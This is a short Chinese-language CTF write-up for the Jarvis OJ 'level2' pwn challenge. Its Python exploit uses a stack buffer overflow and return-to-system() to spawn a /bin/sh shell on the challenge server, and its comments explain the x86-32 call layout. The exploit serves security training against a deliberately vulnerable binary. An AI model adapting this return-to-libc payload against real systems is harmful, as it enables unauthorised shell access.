簡介 :
項目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn題目及 writeup 匯總)
下載地址 : https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1
地址 :
nc pwn2.jarvisoj.com 9878
利用代碼 :
#!/usr/bin/env python
# encoding:utf-8
import zio
payload = "A" * 0x88 + "BBBB"
payload += zio.l32(0x8048320) # system() 函數(shù)的地址
payload += "\x00" * 4
# 這四個字節(jié)是 system() 的返回地址 ,
# 其實這里我們是利用棧溢出模擬了一個函數(shù)調(diào)用的過程
# 在正常函數(shù)調(diào)用的時候 , x86-32位 架構下 , 首先對函數(shù)的參數(shù)壓棧(從右至左)
# 然后將函數(shù)的返回地址壓棧 , 最后程序跳轉到函數(shù)的第一條指令進行執(zhí)行
# 這里我們就是模擬了這里過程
# 也就是說執(zhí)行完 system("/bin/sh") 之后 ,
# CPU 會從棧上取出這里的值并設置 eip 為這個值 ,
# 由于我們這里的目的只是單純拿到 shell ,
# 因此我們并不需要去理會 system 執(zhí)行完后程序會如何執(zhí)行
# 如果做的更完美一點的話 , 可以將其設置為 exit() 函數(shù)的地址 , 這樣程序就會執(zhí)行 exit 函數(shù)
# 也就是從棧上再取出 exit 函數(shù)的參數(shù) , 然后退出
# 或者將其設置為 _start 函數(shù)的地址 , 這樣就相當于將程序重新運行了一遍
# (見下圖)
payload += zio.l32(0x804A024) # "/bin/sh" 的地址
# Io = zio.zio("./level2")
Io = zio.zio(("pwn2.jarvisoj.com", 9878))
Io.write(payload)
Io.interact()
【技術分享】借助DynELF實現(xiàn)無libc的漏洞利用小結
參考資料 :
http://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/
http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64/